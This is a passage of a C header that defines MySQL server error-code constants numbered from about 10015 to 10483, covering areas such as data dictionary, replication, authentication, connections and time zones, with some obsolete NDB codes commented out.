ER_RPL_GTID_TABLE_CANNOT_OPEN 10015 #define ER_SYSTEM_SCHEMA_NOT_FOUND 10016 #define ER_DD_INIT_UPGRADE_FAILED 10017 #define ER_VIEW_UNKNOWN_CHARSET_OR_COLLATION 10018 #define ER_DD_VIEW_CANT_ALLOC_CHARSET 10019 #define ER_DD_INIT_FAILED 10020 #define ER_DD_UPDATING_PLUGIN_MD_FAILED 10021 #define ER_DD_POPULATING_TABLES_FAILED 10022 #define ER_DD_VIEW_CANT_CREATE 10023 #define ER_DD_METADATA_NOT_FOUND 10024 #define ER_DD_CACHE_NOT_EMPTY_AT_SHUTDOWN 10025 #define ER_DD_OBJECT_REMAINS 10026 #define ER_DD_OBJECT_REMAINS_IN_RELEASER 10027 #define ER_DD_OBJECT_RELEASER_REMAINS 10028 #define ER_DD_CANT_GET_OBJECT_KEY 10029 #define ER_DD_CANT_CREATE_OBJECT_KEY 10030 #define ER_CANT_CREATE_HANDLE_MGR_THREAD 10031 #define ER_RPL_REPO_HAS_GAPS 10032 #define ER_INVALID_VALUE_FOR_ENFORCE_GTID_CONSISTENCY 10033 #define ER_CHANGED_ENFORCE_GTID_CONSISTENCY 10034 #define ER_CHANGED_GTID_MODE 10035 #define ER_DISABLED_STORAGE_ENGINE_AS_DEFAULT 10036 #define ER_DEBUG_SYNC_HIT 10037 #define ER_DEBUG_SYNC_EXECUTED 10038 #define ER_DEBUG_SYNC_THREAD_MAX 10039 #define ER_DEBUG_SYNC_OOM 10040 #define ER_CANT_INIT_TC_LOG 10041 #define ER_EVENT_CANT_INIT_QUEUE 10042 #define ER_EVENT_PURGING_QUEUE 10043 #define ER_EVENT_LAST_EXECUTION 10044 #define ER_EVENT_MESSAGE_STACK 10045 #define ER_EVENT_EXECUTION_FAILED 10046 #define ER_CANT_INIT_SCHEDULER_THREAD 10047 #define ER_SCHEDULER_STOPPED 10048 #define ER_CANT_CREATE_SCHEDULER_THREAD 10049 #define ER_SCHEDULER_WAITING 10050 #define ER_SCHEDULER_STARTED 10051 #define ER_SCHEDULER_STOPPING_FAILED_TO_GET_EVENT 10052 #define ER_SCHEDULER_STOPPING_FAILED_TO_CREATE_WORKER 10053 #define ER_SCHEDULER_KILLING 10054 #define ER_UNABLE_TO_RESOLVE_IP 10055 #define ER_UNABLE_TO_RESOLVE_HOSTNAME 10056 #define ER_HOSTNAME_RESEMBLES_IPV4 10057 #define ER_HOSTNAME_DOESNT_RESOLVE_TO 10058 #define ER_ADDRESSES_FOR_HOSTNAME_HEADER 10059 #define ER_ADDRESSES_FOR_HOSTNAME_LIST_ITEM 10060 #define ER_TRG_WITHOUT_DEFINER 10061 #define ER_TRG_NO_CLIENT_CHARSET 10062 #define ER_PARSING_VIEW 10063 #define ER_COMPONENTS_INFRASTRUCTURE_BOOTSTRAP 10064 #define ER_COMPONENTS_INFRASTRUCTURE_SHUTDOWN 10065 #define ER_COMPONENTS_PERSIST_LOADER_BOOTSTRAP 10066 #define ER_DEPART_WITH_GRACE 10067 #define ER_CA_SELF_SIGNED 10068 #define ER_SSL_LIBRARY_ERROR 10069 #define ER_NO_THD_NO_UUID 10070 #define ER_UUID_SALT 10071 #define ER_UUID_IS 10072 #define ER_UUID_INVALID 10073 #define ER_UUID_SCRUB 10074 #define ER_CREATING_NEW_UUID 10075 #define ER_CANT_CREATE_UUID 10076 #define ER_UNKNOWN_UNSUPPORTED_STORAGE_ENGINE 10077 #define ER_SECURE_AUTH_VALUE_UNSUPPORTED 10078 #define ER_INVALID_INSTRUMENT 10079 #define ER_INNODB_MANDATORY 10080 //#define OBSOLETE_ER_INNODB_CANNOT_BE_IGNORED 10081 //#define OBSOLETE_ER_OLD_PASSWORDS_NO_MIDDLE_GROUND 10082 #define ER_VERBOSE_REQUIRES_HELP 10083 #define ER_POINTLESS_WITHOUT_SLOWLOG 10084 #define ER_WASTEFUL_NET_BUFFER_SIZE 10085 #define ER_DEPRECATED_TIMESTAMP_IMPLICIT_DEFAULTS 10086 #define ER_FT_BOOL_SYNTAX_INVALID 10087 #define ER_CREDENTIALLESS_AUTO_USER_BAD 10088 #define ER_CONNECTION_HANDLING_OOM 10089 #define ER_THREAD_HANDLING_OOM 10090 #define ER_CANT_CREATE_TEST_FILE 10091 #define ER_CANT_CREATE_PID_FILE 10092 #define ER_CANT_REMOVE_PID_FILE 10093 #define ER_CANT_CREATE_SHUTDOWN_THREAD 10094 #define ER_SEC_FILE_PRIV_CANT_ACCESS_DIR 10095 #define ER_SEC_FILE_PRIV_IGNORED 10096 #define ER_SEC_FILE_PRIV_EMPTY 10097 #define ER_SEC_FILE_PRIV_NULL 10098 #define ER_SEC_FILE_PRIV_DIRECTORY_INSECURE 10099 #define ER_SEC_FILE_PRIV_CANT_STAT 10100 #define ER_SEC_FILE_PRIV_DIRECTORY_PERMISSIONS 10101 #define ER_SEC_FILE_PRIV_ARGUMENT_TOO_LONG 10102 #define ER_CANT_CREATE_NAMED_PIPES_THREAD 10103 #define ER_CANT_CREATE_TCPIP_THREAD 10104 #define ER_CANT_CREATE_SHM_THREAD 10105 #define ER_CANT_CREATE_INTERRUPT_THREAD 10106 #define ER_WRITABLE_CONFIG_REMOVED 10107 #define ER_CORE_VALUES 10108 #define ER_WRONG_DATETIME_SPEC 10109 #define ER_RPL_BINLOG_FILTERS_OOM 10110 #define ER_KEYCACHE_OOM 10111 #define ER_CONFIRMING_THE_FUTURE 10112 #define ER_BACK_IN_TIME 10113 #define ER_FUTURE_DATE 10114 #define ER_UNSUPPORTED_DATE 10115 #define ER_STARTING_AS 10116 #define ER_SHUTTING_DOWN_REPLICA_THREADS 10117 #define ER_DISCONNECTING_REMAINING_CLIENTS 10118 #define ER_ABORTING 10119 #define ER_BINLOG_END 10120 #define ER_CALL_ME_LOCALHOST 10121 #define ER_USER_REQUIRES_ROOT 10122 #define ER_REALLY_RUN_AS_ROOT 10123 #define ER_USER_WHAT_USER 10124 #define ER_TRANSPORTS_WHAT_TRANSPORTS 10125 #define ER_FAIL_SETGID 10126 #define ER_FAIL_SETUID 10127 #define ER_FAIL_SETREGID 10128 #define ER_FAIL_SETREUID 10129 #define ER_FAIL_CHROOT 10130 #define ER_WIN_LISTEN_BUT_HOW 10131 #define ER_NOT_RIGHT_NOW 10132 #define ER_FIXING_CLIENT_CHARSET 10133 #define ER_OOM 10134 #define ER_FAILED_TO_LOCK_MEM 10135 #define ER_MYINIT_FAILED 10136 #define ER_BEG_INITFILE 10137 #define ER_END_INITFILE 10138 #define ER_CHANGED_MAX_OPEN_FILES 10139 #define ER_CANT_INCREASE_MAX_OPEN_FILES 10140 #define ER_CHANGED_MAX_CONNECTIONS 10141 #define ER_CHANGED_TABLE_OPEN_CACHE 10142 #define ER_THE_USER_ABIDES 10143 #define ER_RPL_CANT_ADD_DO_TABLE 10144 #define ER_RPL_CANT_ADD_IGNORE_TABLE 10145 #define ER_TRACK_VARIABLES_BOGUS 10146 #define ER_EXCESS_ARGUMENTS 10147 #define ER_VERBOSE_HINT 10148 #define ER_CANT_READ_ERRMSGS 10149 #define ER_CANT_INIT_DBS 10150 #define ER_LOG_OUTPUT_CONTRADICTORY 10151 #define ER_NO_CSV_NO_LOG_TABLES 10152 #define ER_RPL_REWRITEDB_MISSING_ARROW 10153 #define ER_RPL_REWRITEDB_EMPTY_FROM 10154 #define ER_RPL_REWRITEDB_EMPTY_TO 10155 #define ER_LOG_FILES_GIVEN_LOG_OUTPUT_IS_TABLE 10156 #define ER_LOG_FILE_INVALID 10157 #define ER_LOWER_CASE_TABLE_NAMES_CS_DD_ON_CI_FS_UNSUPPORTED 10158 #define ER_LOWER_CASE_TABLE_NAMES_USING_2 10159 #define ER_LOWER_CASE_TABLE_NAMES_USING_0 10160 #define ER_NEED_LOG_BIN 10161 #define ER_NEED_FILE_INSTEAD_OF_DIR 10162 #define ER_LOG_BIN_BETTER_WITH_NAME 10163 #define ER_BINLOG_NEEDS_SERVERID 10164 #define ER_RPL_CANT_MAKE_PATHS 10165 #define ER_CANT_INITIALIZE_GTID 10166 #define ER_CANT_INITIALIZE_EARLY_PLUGINS 10167 #define ER_CANT_INITIALIZE_BUILTIN_PLUGINS 10168 #define ER_CANT_INITIALIZE_DYNAMIC_PLUGINS 10169 #define ER_PERFSCHEMA_INIT_FAILED 10170 #define ER_STACKSIZE_UNEXPECTED 10171 //#define OBSOLETE_ER_CANT_SET_DATADIR 10172 #define ER_CANT_STAT_DATADIR 10173 #define ER_CANT_CHOWN_DATADIR 10174 #define ER_CANT_SET_UP_PERSISTED_VALUES 10175 #define ER_CANT_SAVE_GTIDS 10176 #define ER_AUTH_CANT_SET_DEFAULT_PLUGIN 10177 #define ER_CANT_JOIN_SHUTDOWN_THREAD 10178 #define ER_CANT_HASH_DO_AND_IGNORE_RULES 10179 #define ER_CANT_OPEN_CA 10180 #define ER_CANT_ACCESS_CAPATH 10181 #define ER_SSL_TRYING_DATADIR_DEFAULTS 10182 #define ER_AUTO_OPTIONS_FAILED 10183 #define ER_CANT_INIT_TIMER 10184 #define ER_SERVERID_TOO_LARGE 10185 #define ER_DEFAULT_SE_UNAVAILABLE 10186 #define ER_CANT_OPEN_ERROR_LOG 10187 #define ER_INVALID_ERROR_LOG_NAME 10188 #define ER_RPL_INFINITY_DENIED 10189 #define ER_RPL_INFINITY_IGNORED 10190 //#define OBSOLETE_ER_NDB_TABLES_NOT_READY 10191 #define ER_TABLE_CHECK_INTACT 10192 #define ER_DD_TABLESPACE_NOT_FOUND 10193 #define ER_DD_TRG_CONNECTION_COLLATION_MISSING 10194 #define ER_DD_TRG_DB_COLLATION_MISSING 10195 #define ER_DD_TRG_DEFINER_OOM 10196 #define ER_DD_TRG_FILE_UNREADABLE 10197 #define ER_TRG_CANT_PARSE 10198 #define ER_DD_TRG_CANT_ADD 10199 #define ER_DD_CANT_RESOLVE_VIEW 10200 #define ER_DD_VIEW_WITHOUT_DEFINER 10201 #define ER_PLUGIN_INIT_FAILED 10202 #define ER_RPL_TRX_DELEGATES_INIT_FAILED 10203 #define ER_RPL_BINLOG_STORAGE_DELEGATES_INIT_FAILED 10204 #define ER_RPL_BINLOG_TRANSMIT_DELEGATES_INIT_FAILED 10205 #define ER_RPL_BINLOG_RELAY_DELEGATES_INIT_FAILED 10206 #define ER_RPL_PLUGIN_FUNCTION_FAILED 10207 #define ER_SQL_HA_READ_FAILED 10208 #define ER_SR_BOGUS_VALUE 10209 #define ER_SR_INVALID_CONTEXT 10210 #define ER_READING_TABLE_FAILED 10211 #define ER_DES_FILE_WRONG_KEY 10212 //#define OBSOLETE_ER_CANT_SET_PERSISTED 10213 #define ER_JSON_PARSE_ERROR 10214 #define ER_CONFIG_OPTION_WITHOUT_GROUP 10215 #define ER_VALGRIND_DO_QUICK_LEAK_CHECK 10216 #define ER_VALGRIND_COUNT_LEAKS 10217 #define ER_LOAD_DATA_INFILE_FAILED_IN_UNEXPECTED_WAY 10218 #define ER_UNKNOWN_ERROR_NUMBER 10219 #define ER_UDF_CANT_ALLOC_FOR_STRUCTURES 10220 #define ER_UDF_CANT_ALLOC_FOR_FUNCTION 10221 #define ER_UDF_INVALID_ROW_IN_FUNCTION_TABLE 10222 #define ER_UDF_CANT_OPEN_FUNCTION_TABLE 10223 #define ER_XA_RECOVER_FOUND_TRX_IN_SE 10224 #define ER_XA_RECOVER_FOUND_XA_TRX 10225 //#define OBSOLETE_ER_XA_IGNORING_XID 10226 //#define OBSOLETE_ER_XA_COMMITTING_XID 10227 //#define OBSOLETE_ER_XA_ROLLING_BACK_XID 10228 #define ER_XA_STARTING_RECOVERY 10229 #define ER_XA_NO_MULTI_2PC_HEURISTIC_RECOVER 10230 #define ER_XA_RECOVER_EXPLANATION 10231 #define ER_XA_RECOVERY_DONE 10232 #define ER_TRX_GTID_COLLECT_REJECT 10233 #define ER_SQL_AUTHOR_DEFAULT_ROLES_FAIL 10234 #define ER_SQL_USER_TABLE_CREATE_WARNING 10235 #define ER_SQL_USER_TABLE_ALTER_WARNING 10236 #define ER_ROW_IN_WRONG_PARTITION_PLEASE_REPAIR 10237 #define ER_MYISAM_CRASHED_ERROR_IN_THREAD 10238 #define ER_MYISAM_CRASHED_ERROR_IN 10239 #define ER_TOO_MANY_STORAGE_ENGINES 10240 #define ER_SE_TYPECODE_CONFLICT 10241 #define ER_TRX_WRITE_SET_OOM 10242 #define ER_HANDLERTON_OOM 10243 #define ER_CONN_SHM_LISTENER 10244 #define ER_CONN_SHM_CANT_CREATE_SERVICE 10245 #define ER_CONN_SHM_CANT_CREATE_CONNECTION 10246 #define ER_CONN_PIP_CANT_CREATE_EVENT 10247 #define ER_CONN_PIP_CANT_CREATE_PIPE 10248 #define ER_CONN_PER_THREAD_NO_THREAD 10249 #define ER_CONN_TCP_NO_SOCKET 10250 #define ER_CONN_TCP_CREATED 10251 #define ER_CONN_TCP_ADDRESS 10252 #define ER_CONN_TCP_IPV6_AVAILABLE 10253 #define ER_CONN_TCP_IPV6_UNAVAILABLE 10254 #define ER_CONN_TCP_ERROR_WITH_STRERROR 10255 #define ER_CONN_TCP_CANT_RESOLVE_HOSTNAME 10256 #define ER_CONN_TCP_IS_THERE_ANOTHER_USING_PORT 10257 #define ER_CONN_UNIX_IS_THERE_ANOTHER_USING_SOCKET 10258 #define ER_CONN_UNIX_PID_CLAIMED_SOCKET_FILE 10259 #define ER_CONN_TCP_CANT_RESET_V6ONLY 10260 #define ER_CONN_TCP_BIND_RETRY 10261 #define ER_CONN_TCP_BIND_FAIL 10262 #define ER_CONN_TCP_IP_NOT_LOGGED 10263 #define ER_CONN_TCP_RESOLVE_INFO 10264 #define ER_CONN_TCP_START_FAIL 10265 #define ER_CONN_TCP_LISTEN_FAIL 10266 #define ER_CONN_UNIX_PATH_TOO_LONG 10267 #define ER_CONN_UNIX_LOCK_FILE_FAIL 10268 #define ER_CONN_UNIX_NO_FD 10269 #define ER_CONN_UNIX_NO_BIND_NO_START 10270 #define ER_CONN_UNIX_LISTEN_FAILED 10271 #define ER_CONN_UNIX_LOCK_FILE_GIVING_UP 10272 #define ER_CONN_UNIX_LOCK_FILE_CANT_CREATE 10273 #define ER_CONN_UNIX_LOCK_FILE_CANT_OPEN 10274 #define ER_CONN_UNIX_LOCK_FILE_CANT_READ 10275 #define ER_CONN_UNIX_LOCK_FILE_EMPTY 10276 #define ER_CONN_UNIX_LOCK_FILE_PIDLESS 10277 #define ER_CONN_UNIX_LOCK_FILE_CANT_WRITE 10278 #define ER_CONN_UNIX_LOCK_FILE_CANT_DELETE 10279 #define ER_CONN_UNIX_LOCK_FILE_CANT_SYNC 10280 #define ER_CONN_UNIX_LOCK_FILE_CANT_CLOSE 10281 #define ER_CONN_SOCKET_SELECT_FAILED 10282 #define ER_CONN_SOCKET_ACCEPT_FAILED 10283 #define ER_AUTH_RSA_CANT_FIND 10284 #define ER_AUTH_RSA_CANT_PARSE 10285 #define ER_AUTH_RSA_CANT_READ 10286 #define ER_AUTH_RSA_FILES_NOT_FOUND 10287 #define ER_CONN_ATTR_TRUNCATED 10288 #define ER_X509_CIPHERS_MISMATCH 10289 #define ER_X509_ISSUER_MISMATCH 10290 #define ER_X509_SUBJECT_MISMATCH 10291 #define ER_AUTH_CANT_ACTIVATE_ROLE 10292 #define ER_X509_NEEDS_RSA_PRIVKEY 10293 #define ER_X509_CANT_WRITE_KEY 10294 #define ER_X509_CANT_CHMOD_KEY 10295 #define ER_X509_CANT_READ_CA_KEY 10296 #define ER_X509_CANT_READ_CA_CERT 10297 #define ER_X509_CANT_CREATE_CERT 10298 #define ER_X509_CANT_WRITE_CERT 10299 #define ER_AUTH_CANT_CREATE_RSA_PAIR 10300 #define ER_AUTH_CANT_WRITE_PRIVKEY 10301 #define ER_AUTH_CANT_WRITE_PUBKEY 10302 #define ER_AUTH_SSL_CONF_PREVENTS_CERT_GENERATION 10303 #define ER_AUTH_USING_EXISTING_CERTS 10304 #define ER_AUTH_CERTS_SAVED_TO_DATADIR 10305 #define ER_AUTH_CERT_GENERATION_DISABLED 10306 #define ER_AUTH_RSA_CONF_PREVENTS_KEY_GENERATION 10307 #define ER_AUTH_KEY_GENERATION_SKIPPED_PAIR_PRESENT 10308 #define ER_AUTH_KEYS_SAVED_TO_DATADIR 10309 #define ER_AUTH_KEY_GENERATION_DISABLED 10310 #define ER_AUTHCACHE_PROXIES_PRIV_SKIPPED_NEEDS_RESOLVE 10311 #define ER_AUTHCACHE_PLUGIN_MISSING 10312 #define ER_AUTHCACHE_PLUGIN_CONFIG 10313 //#define OBSOLETE_ER_AUTHCACHE_ROLE_TABLES_DODGY 10314 #define ER_AUTHCACHE_USER_SKIPPED_NEEDS_RESOLVE 10315 #define ER_AUTHCACHE_USER_TABLE_DODGY 10316 #define ER_AUTHCACHE_USER_IGNORED_DEPRECATED_PASSWORD 10317 #define ER_AUTHCACHE_USER_IGNORED_NEEDS_PLUGIN 10318 #define ER_AUTHCACHE_USER_IGNORED_INVALID_PASSWORD 10319 #define ER_AUTHCACHE_EXPIRED_PASSWORD_UNSUPPORTED 10320 #define ER_NO_SUPER_WITHOUT_USER_PLUGIN 10321 #define ER_AUTHCACHE_DB_IGNORED_EMPTY_NAME 10322 #define ER_AUTHCACHE_DB_SKIPPED_NEEDS_RESOLVE 10323 #define ER_AUTHCACHE_DB_ENTRY_LOWERCASED_REVOKE_WILL_FAIL 10324 #define ER_AUTHCACHE_TABLE_PROXIES_PRIV_MISSING 10325 #define ER_AUTHCACHE_CANT_OPEN_AND_LOCK_PRIVILEGE_TABLES 10326 #define ER_AUTHCACHE_CANT_INIT_GRANT_SUBSYSTEM 10327 #define ER_AUTHCACHE_PROCS_PRIV_SKIPPED_NEEDS_RESOLVE 10328 #define ER_AUTHCACHE_PROCS_PRIV_ENTRY_IGNORED_BAD_ROUTINE_TYPE 10329 #define ER_AUTHCACHE_TABLES_PRIV_SKIPPED_NEEDS_RESOLVE 10330 #define ER_USER_NOT_IN_EXTRA_USERS_BINLOG_POSSIBLY_INCOMPLETE 10331 #define ER_DD_SCHEMA_NOT_FOUND 10332 #define ER_DD_TABLE_NOT_FOUND 10333 #define ER_DD_SE_INIT_FAILED 10334 #define ER_DD_ABORTING_PARTIAL_UPGRADE 10335 #define ER_DD_FRM_EXISTS_FOR_TABLE 10336 #define ER_DD_CREATED_FOR_UPGRADE 10337 #define ER_ERRMSG_CANT_FIND_FILE 10338 #define ER_ERRMSG_LOADING_55_STYLE 10339 #define ER_ERRMSG_MISSING_IN_FILE 10340 #define ER_ERRMSG_OOM 10341 #define ER_ERRMSG_CANT_READ 10342 #define ER_TABLE_INCOMPATIBLE_DECIMAL_FIELD 10343 #define ER_TABLE_INCOMPATIBLE_YEAR_FIELD 10344 #define ER_INVALID_CHARSET_AND_DEFAULT_IS_MB 10345 #define ER_TABLE_WRONG_KEY_DEFINITION 10346 #define ER_CANT_OPEN_FRM_FILE 10347 #define ER_CANT_READ_FRM_FILE 10348 #define ER_TABLE_CREATED_WITH_DIFFERENT_VERSION 10349 #define ER_VIEW_UNPARSABLE 10350 #define ER_FILE_TYPE_UNKNOWN 10351 #define ER_INVALID_INFO_IN_FRM 10352 #define ER_CANT_OPEN_AND_LOCK_PRIVILEGE_TABLES 10353 #define ER_AUDIT_PLUGIN_DOES_NOT_SUPPORT_AUDIT_AUTH_EVENTS 10354 #define ER_AUDIT_PLUGIN_HAS_INVALID_DATA 10355 #define ER_TZ_OOM_INITIALIZING_TIME_ZONES 10356 #define ER_TZ_CANT_OPEN_AND_LOCK_TIME_ZONE_TABLE 10357 #define ER_TZ_OOM_LOADING_LEAP_SECOND_TABLE 10358 #define ER_TZ_TOO_MANY_LEAPS_IN_LEAP_SECOND_TABLE 10359 #define ER_TZ_ERROR_LOADING_LEAP_SECOND_TABLE 10360 #define ER_TZ_UNKNOWN_OR_ILLEGAL_DEFAULT_TIME_ZONE 10361 #define ER_TZ_CANT_FIND_DESCRIPTION_FOR_TIME_ZONE 10362 #define ER_TZ_CANT_FIND_DESCRIPTION_FOR_TIME_ZONE_ID 10363 #define ER_TZ_TRANSITION_TYPE_TABLE_TYPE_TOO_LARGE 10364 #define ER_TZ_TRANSITION_TYPE_TABLE_ABBREVIATIONS_EXCEED_SPACE 10365 #define ER_TZ_TRANSITION_TYPE_TABLE_LOAD_ERROR 10366 #define ER_TZ_TRANSITION_TABLE_TOO_MANY_TRANSITIONS 10367 #define ER_TZ_TRANSITION_TABLE_BAD_TRANSITION_TYPE 10368 #define ER_TZ_TRANSITION_TABLE_LOAD_ERROR 10369 #define ER_TZ_NO_TRANSITION_TYPES_IN_TIME_ZONE 10370 #define ER_TZ_OOM_LOADING_TIME_ZONE_DESCRIPTION 10371 #define ER_TZ_CANT_BUILD_MKTIME_MAP 10372 #define ER_TZ_OOM_WHILE_LOADING_TIME_ZONE 10373 #define ER_TZ_OOM_WHILE_SETTING_TIME_ZONE 10374 #define ER_REPLICA_SQL_THREAD_STOPPED_UNTIL_CONDITION_BAD 10375 #define ER_REPLICA_SQL_THREAD_STOPPED_UNTIL_POSITION_REACHED 10376 #define ER_REPLICA_SQL_THREAD_STOPPED_BEFORE_GTIDS_ALREADY_APPLIED 10377 #define ER_REPLICA_SQL_THREAD_STOPPED_BEFORE_GTIDS_REACHED 10378 #define ER_REPLICA_SQL_THREAD_STOPPED_AFTER_GTIDS_REACHED 10379 #define ER_REPLICA_SQL_THREAD_STOPPED_GAP_TRX_PROCESSED 10380 #define ER_GROUP_REPLICATION_PLUGIN_NOT_INSTALLED 10381 #define ER_GTID_ALREADY_ADDED_BY_USER 10382 #define ER_FAILED_TO_DELETE_FROM_GTID_EXECUTED_TABLE 10383 #define ER_FAILED_TO_COMPRESS_GTID_EXECUTED_TABLE 10384 #define ER_FAILED_TO_COMPRESS_GTID_EXECUTED_TABLE_OOM 10385 #define ER_FAILED_TO_INIT_THREAD_ATTR_FOR_GTID_TABLE_COMPRESSION 10386 #define ER_FAILED_TO_CREATE_GTID_TABLE_COMPRESSION_THREAD 10387 #define ER_FAILED_TO_JOIN_GTID_TABLE_COMPRESSION_THREAD 10388 #define ER_NPIPE_FAILED_TO_INIT_SECURITY_DESCRIPTOR 10389 #define ER_NPIPE_FAILED_TO_SET_SECURITY_DESCRIPTOR 10390 #define ER_NPIPE_PIPE_ALREADY_IN_USE 10391 //#define OBSOLETE_ER_NDB_SLAVE_SAW_EPOCH_LOWER_THAN_PREVIOUS_ON_START 10392 //#define OBSOLETE_ER_NDB_SLAVE_SAW_EPOCH_LOWER_THAN_PREVIOUS 10393 //#define OBSOLETE_ER_NDB_SLAVE_SAW_ALREADY_COMMITTED_EPOCH 10394 //#define OBSOLETE_ER_NDB_SLAVE_PREVIOUS_EPOCH_NOT_COMMITTED 10395 //#define OBSOLETE_ER_NDB_SLAVE_MISSING_DATA_FOR_TIMESTAMP_COLUMN 10396 //#define OBSOLETE_ER_NDB_SLAVE_LOGGING_EXCEPTIONS_TO 10397 //#define OBSOLETE_ER_NDB_SLAVE_LOW_EPOCH_RESOLUTION 10398 //#define OBSOLETE_ER_NDB_INFO_FOUND_UNEXPECTED_FIELD_TYPE 10399 //#define OBSOLETE_ER_NDB_INFO_FAILED_TO_CREATE_NDBINFO 10400 //#define OBSOLETE_ER_NDB_INFO_FAILED_TO_INIT_NDBINFO 10401 //#define OBSOLETE_ER_NDB_CLUSTER_WRONG_NUMBER_OF_FUNCTION_ARGUMENTS 10402 //#define OBSOLETE_ER_NDB_CLUSTER_SCHEMA_INFO 10403 //#define OBSOLETE_ER_NDB_CLUSTER_GENERIC_MESSAGE 10404 #define ER_RPL_CANT_OPEN_INFO_TABLE 10405 #define ER_RPL_CANT_SCAN_INFO_TABLE 10406 #define ER_RPL_CORRUPTED_INFO_TABLE 10407 #define ER_RPL_CORRUPTED_KEYS_IN_INFO_TABLE 10408 #define ER_RPL_WORKER_ID_IS 10409 #define ER_RPL_INCONSISTENT_TIMESTAMPS_IN_TRX 10410 #define ER_RPL_INCONSISTENT_SEQUENCE_NO_IN_TRX 10411 #define ER_RPL_CHANNELS_REQUIRE_TABLES_AS_INFO_REPOSITORIES 10412 #define ER_RPL_CHANNELS_REQUIRE_NON_ZERO_SERVER_ID 10413 #define ER_RPL_REPO_SHOULD_BE_TABLE 10414 #define ER_RPL_ERROR_CREATING_CONNECTION_METADATA 10415 #define ER_RPL_ERROR_CHANGING_CONNECTION_METADATA_REPO_TYPE 10416 #define ER_RPL_CHANGING_APPLIER_METADATA_REPO_TYPE_FAILED_DUE_TO_GAPS 10417 #define ER_RPL_ERROR_CREATING_APPLIER_METADATA 10418 #define ER_RPL_ERROR_CHANGING_APPLIER_METADATA_REPO_TYPE 10419 #define ER_RPL_FAILED_TO_DELETE_FROM_REPLICA_WORKERS_INFO_REPOSITORY 10420 #define ER_RPL_FAILED_TO_RESET_STATE_IN_REPLICA_INFO_REPOSITORY 10421 #define ER_RPL_ERROR_CHECKING_REPOSITORY 10422 #define ER_RPL_REPLICA_GENERIC_MESSAGE 10423 #define ER_RPL_REPLICA_COULD_NOT_CREATE_CHANNEL_LIST 10424 #define ER_RPL_MULTISOURCE_REQUIRES_TABLE_TYPE_REPOSITORIES 10425 #define ER_RPL_REPLICA_FAILED_TO_INIT_A_CONNECTION_METADATA_STRUCTURE 10426 #define ER_RPL_REPLICA_FAILED_TO_INIT_CONNECTION_METADATA_STRUCTURE 10427 #define ER_RPL_REPLICA_FAILED_TO_CREATE_CHANNEL_FROM_CONNECTION_METADATA 10428 #define ER_RPL_FAILED_TO_CREATE_NEW_INFO_FILE 10429 #define ER_RPL_FAILED_TO_CREATE_CACHE_FOR_INFO_FILE 10430 #define ER_RPL_FAILED_TO_OPEN_INFO_FILE 10431 #define ER_RPL_GTID_MEMORY_FINALLY_AVAILABLE 10432 #define ER_SERVER_COST_UNKNOWN_COST_CONSTANT 10433 #define ER_SERVER_COST_INVALID_COST_CONSTANT 10434 #define ER_ENGINE_COST_UNKNOWN_COST_CONSTANT 10435 #define ER_ENGINE_COST_UNKNOWN_STORAGE_ENGINE 10436 #define ER_ENGINE_COST_INVALID_DEVICE_TYPE_FOR_SE 10437 #define ER_ENGINE_COST_INVALID_CONST_CONSTANT_FOR_SE_AND_DEVICE 10438 #define ER_SERVER_COST_FAILED_TO_READ 10439 #define ER_ENGINE_COST_FAILED_TO_READ 10440 #define ER_FAILED_TO_OPEN_COST_CONSTANT_TABLES 10441 #define ER_RPL_UNSUPPORTED_UNIGNORABLE_EVENT_IN_STREAM 10442 #define ER_RPL_GTID_LOG_EVENT_IN_STREAM 10443 #define ER_RPL_UNEXPECTED_BEGIN_IN_STREAM 10444 #define ER_RPL_UNEXPECTED_COMMIT_ROLLBACK_OR_XID_LOG_EVENT_IN_STREAM 10445 #define ER_RPL_UNEXPECTED_XA_ROLLBACK_IN_STREAM 10446 #define ER_EVENT_EXECUTION_FAILED_CANT_AUTHENTICATE_USER 10447 #define ER_EVENT_EXECUTION_FAILED_USER_LOST_EVEN_PRIVILEGE 10448 #define ER_EVENT_ERROR_DURING_COMPILATION 10449 #define ER_EVENT_DROPPING 10450 //#define OBSOLETE_ER_NDB_SCHEMA_GENERIC_MESSAGE 10451 #define ER_RPL_INCOMPATIBLE_DECIMAL_IN_RBR 10452 #define ER_INIT_ROOT_WITHOUT_PASSWORD 10453 #define ER_INIT_GENERATING_TEMP_PASSWORD_FOR_ROOT 10454 #define ER_INIT_CANT_OPEN_BOOTSTRAP_FILE 10455 #define ER_INIT_BOOTSTRAP_COMPLETE 10456 #define ER_INIT_DATADIR_NOT_EMPTY_WONT_INITIALIZE 10457 #define ER_INIT_DATADIR_EXISTS_WONT_INITIALIZE 10458 #define ER_INIT_DATADIR_EXISTS_AND_PATH_TOO_LONG_WONT_INITIALIZE 10459 #define ER_INIT_DATADIR_EXISTS_AND_NOT_WRITABLE_WONT_INITIALIZE 10460 #define ER_INIT_CREATING_DD 10461 #define ER_RPL_BINLOG_STARTING_DUMP 10462 #define ER_RPL_BINLOG_SOURCE_SENDS_HEARTBEAT 10463 #define ER_RPL_BINLOG_SKIPPING_REMAINING_HEARTBEAT_INFO 10464 #define ER_RPL_BINLOG_SOURCE_USES_CHECKSUM_AND_REPLICA_CANT 10465 //#define OBSOLETE_ER_NDB_QUERY_FAILED 10466 #define ER_KILLING_THREAD 10467 #define ER_DETACHING_SESSION_LEFT_BY_PLUGIN 10468 #define ER_CANT_DETACH_SESSION_LEFT_BY_PLUGIN 10469 #define ER_DETACHED_SESSIONS_LEFT_BY_PLUGIN 10470 #define ER_FAILED_TO_DECREMENT_NUMBER_OF_THREADS 10471 #define ER_PLUGIN_DID_NOT_DEINITIALIZE_THREADS 10472 #define ER_KILLED_THREADS_OF_PLUGIN 10473 //#define OBSOLETE_ER_NDB_SLAVE_MAX_REPLICATED_EPOCH_UNKNOWN 10474 //#define OBSOLETE_ER_NDB_SLAVE_MAX_REPLICATED_EPOCH_SET_TO 10475 //#define OBSOLETE_ER_NDB_NODE_ID_AND_MANAGEMENT_SERVER_INFO 10476 //#define OBSOLETE_ER_NDB_DISCONNECT_INFO 10477 //#define OBSOLETE_ER_NDB_COLUMN_DEFAULTS_DIFFER 10478 //#define OBSOLETE_ER_NDB_COLUMN_SHOULD_NOT_HAVE_NATIVE_DEFAULT 10479 //#define OBSOLETE_ER_NDB_FIELD_INFO 10480 //#define OBSOLETE_ER_NDB_COLUMN_INFO 10481 //#define OBSOLETE_ER_NDB_OOM_IN_FIX_UNIQUE_INDEX_ATTR_ORDER 10482 //#define OBSOLETE_ER_NDB_SLAVE_MALFORMED_EVENT_RECEIVED_ON_TABLE 10483 //#define 